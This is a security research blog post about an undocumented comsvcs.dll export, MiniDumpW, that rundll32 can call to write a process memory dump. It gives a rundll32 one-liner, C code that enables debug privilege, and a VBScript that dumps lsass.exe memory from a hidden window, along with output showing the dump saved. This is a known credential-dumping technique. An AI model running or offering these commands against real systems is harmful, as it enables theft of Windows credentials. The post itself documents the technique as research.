← Windows Process Injection: Asynchronous Procedure Call (APC)

Shellcode: Data Compression →

MiniDumpWriteDump via COM+ Services DLL

Posted on August 30, 2019 by odzhan

Introduction

This will be a very quick code-oriented post about a DLL function exported by comsvcs.dll that I was unable to find any reference to online.

UPDATE: Memory Dump Analysis Anthology Volume 1 that was published in 2008 by Dmitry Vostokov, discusses this function in a chapter on COM+ Crash Dumps. The reason I didn't find it before is because I was searching for "MiniDumpW" and not "MiniDump".

While searching for DLL/EXE that imported DBGHELP!MiniDumpWriteDump, I discovered comsvcs.dll exports a function called `MiniDumpW` which appears to have been designed specifically for use by rundll32. It will accept three parameters but the first two are ignored. The third parameter should be a UNICODE string combining three tokens/parameters wrapped in quotation marks. The first is the process id, the second is where to save the memory dump and third requires the keyword "full" even though there's no alternative for this last parameter.

To use from the command line, type the following: `"rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full""` where "1234" is the target process to dump. Obviously, this assumes you have permission to query and read the memory of target process. If `COMSVCS!MiniDumpW` encounters an error, it simply calls `KERNEL32!ExitProcess` and you won't see anything. The following code in C demonstrates how to invoke it dynamically.

BTW, `HRESULT` is probably the wrong return type. Internally it exits the process with `E_INVALIDARG` if it encounters a problem with the parameters, but if it succeeds, it returns 1. S_OK is defined as 0.

```
#define UNICODE
#include <windows.h>
#include <stdio.h>

typedef HRESULT (WINAPI *_MiniDumpW)(
  DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS (WINAPI *_RtlAdjustPrivilege)(
  ULONG Privilege, BOOL Enable,
  BOOL CurrentThread, PULONG Enabled);

// "<pid> <dump.bin> full"
int wmain(int argc, wchar_t *argv[]) {
    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;

    MiniDumpW          = (_MiniDumpW)GetProcAddress(
      LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
```

Search

Recent Posts

- Shellcode: Obfuscation with Permutations
- Shellcode: Windows on ARM64 / AArch64
- Shellcode: API Hashing with Block Ciphers (Maru4)
- Shellcode: RSA (Data Masking 4)
- Shellcode: Pseudo-Random Involution (Data Masking 3)
- Shellcode: Modular Exponentiation for Diffie-Hellman Key Exchange.
- Shellcode: Data Masking 2
- Delegated NT DLL
- WOW64 Callback Table (FinFisher)
- Shellcode: Entropy Reduction With Base32 Encoding.
- Shellcode: Data Masking
- Shellcode: Linux on RISC-V 64-Bit
- Windows Data Structures and Callbacks, Part 1
- Windows Process Injection: Command Line and Environment Variables
- Windows Process Injection: EM_GETHANDLE, WM_PASTE and EM_SETWORDBREAKPROC
- Shellcode: Encoding Null Bytes Faster With Escape Sequences
- Invoking System Calls and Windows Debugger Engine
- Shellcode: Recycling Compression Algorithms for the Z80, 8088, 6502, 8086, and 68K Architectures.
- Another method of bypassing ETW and Process Injection via ETW registration entries.
- Shellcode: Data Compression
- MiniDumpWriteDump via COM+ Services DLL
- Windows Process Injection: Asynchronous Procedure Call (APC)
- Windows Process Injection: KnownDlls Cache Poisoning
- Windows Process Injection: Tooltip or Common Controls
- Windows Process Injection: Breaking BaDDEr
- Windows Process Injection: DNS Client API
- Windows Process Injection: Multiple Provider Router (MPR) DLL and Shell Notifications
- Windows Process Injection: Winsock Helper Functions (WSHX)
- Shellcode: In-Memory Execution of JavaScript, VBScript, JScript and XSL
- Shellcode: In-Memory Execution of DLL
- Windows Process Injection: Windows Notification Facility

```
      GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

    if(MiniDumpW == NULL) {
      printf("Unable to resolve COMSVCS!MiniDumpW.\n");
      return 0;
    }
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);

    printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]);

    // dump process
    MiniDumpW(0, 0,  argv[1]);
    printf("OK!\n");

    return 0;
}
```

Since neither rundll32 nor `comsvcs!MiniDumpW` will enable the debugging privilege required to access lsass.exe, the following VBscript will work in an elevated process.

```
Option Explicit

Const SW_HIDE = 0

If (WScript.Arguments.Count <> 1) Then
    WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
    WScript.StdOut.WriteLine("Usage: procdump <process>")
    WScript.Quit
Else
    Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp

    ' get process id or name
    pid = WScript.Arguments(0)

    ' connect with debug privilege
    Set fso  = CreateObject("Scripting.FileSystemObject")
    Set svc  = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}"

    ' if not a number
    If(Not IsNumeric(pid)) Then
      query = "Name"
    Else
      query = "ProcessId"
    End If

' try find it
Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
  query & " = '" & pid & "'")

If (list.Count = 0) Then
  WScript.StdOut.WriteLine("Can't find active process : " & pid)
  WScript.Quit()
End If

For Each proc in list
  pid = proc.ProcessId
  str = proc.Name
  Exit For
Next

dmp = fso.GetBaseName(str) & ".bin"

' if dump file already exists, try to remove it
If(fso.FileExists(dmp)) Then
  WScript.StdOut.WriteLine("Removing " & dmp)
  fso.DeleteFile(dmp)
End If
```


- How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code
- Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy
- Windows Process Injection: CLIPBRDWNDCLASS
- Shellcode: Loading .NET Assemblies From Memory
- Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline
- Shellcode: A reverse shell for Linux in C with support for TLS/SSL
- How the Lopht (probably) optimized attack against the LanMan hash.
- A Guide to ARM64 / AArch64 Assembly on Linux with Shellcodes and Cryptography
- Windows Process Injection: ConsoleWindowClass
- Windows Process Injection: Service Control Handler
- Windows Process Injection: Extra Window Bytes
- Windows Process Injection: PROPagate
- Shellcode: Encrypting traffic
- Shellcode: Synchronous shell for Linux in ARM32 assembly
- Windows Process Injection: Code Injection Methods
- Windows Process Injection: Writing the payload
- Shellcode: Synchronous shell for Linux in amd64 assembly
- Shellcode: Synchronous shell for Linux in x86 assembly
- Stopping the Event Logger via Service Control Handler
- Shellcode: Encryption Algorithms in ARM Assembly
- Shellcode: A Tweetable Reverse Shell for x86 Windows
- Polymorphic Mutex Names
- Shellcode: Linux ARM (AArch64)
- Shellcode: Linux ARM Thumb mode
- Using Windows Schannel for Covert Communication
- Shellcode: x86 optimizations part 1
- WanaCryptor File Encryption and Decryption
- Shellcode: Dual Mode (x86 + amd64) Linux shellcode
- Shellcode: Fido and how it resolves GetProcAddress and LoadLibraryA

```
WScript.StdOut.WriteLine("Attempting to dump memory from " & _
  str & ":" & pid & " to " & dmp)

Set proc       = svc.Get("Win32_Process")
Set startup    = svc.Get("Win32_ProcessStartup")
Set cfg        = startup.SpawnInstance_
cfg.ShowWindow = SW_HIDE

cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _
      pid & " " & fso.GetAbsolutePathName(".") & "\" & _
      dmp & " full"

Call proc.Create (cmd, null, cfg, pid)

' sleep for a second
Wscript.Sleep(1000)

If(fso.FileExists(dmp)) Then
  WScript.StdOut.WriteLine("Memory saved to " & dmp)
Else
        WScript.StdOut.WriteLine("Something went wrong.")
    End If
End If
```

Run from elevated cmd prompt.

```
C:\hub\injection\ntuserpfn>cscript procdump.vbs lsass.exe
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

Removing lsass.bin
Attempting to dump memory from lsass.exe:648 to lsass.bin
Memory saved to lsass.bin
```

No idea how useful this could be, but since it's part of the operating system, it's probably worth knowing anyway. Perhaps you will find similar functions in signed binaries that perform memory dumping of a target process. 😳

Related

Windows Process Injection: Writing the payload
July 12, 2018
In "assembly"

Shellcode: Resolving API addresses in memory
January 15, 2017
In "assembly"

Windows Data Structures and Callbacks, Part 1
August 6, 2020
In "data structures"

This entry was posted in windows and tagged COM+ Services, comsvcs, minidumpwritedump, vbscript. Bookmark the permalink.

← Windows Process Injection: Asynchronous Procedure Call (APC)

Shellcode: Data Compression →

Leave a comment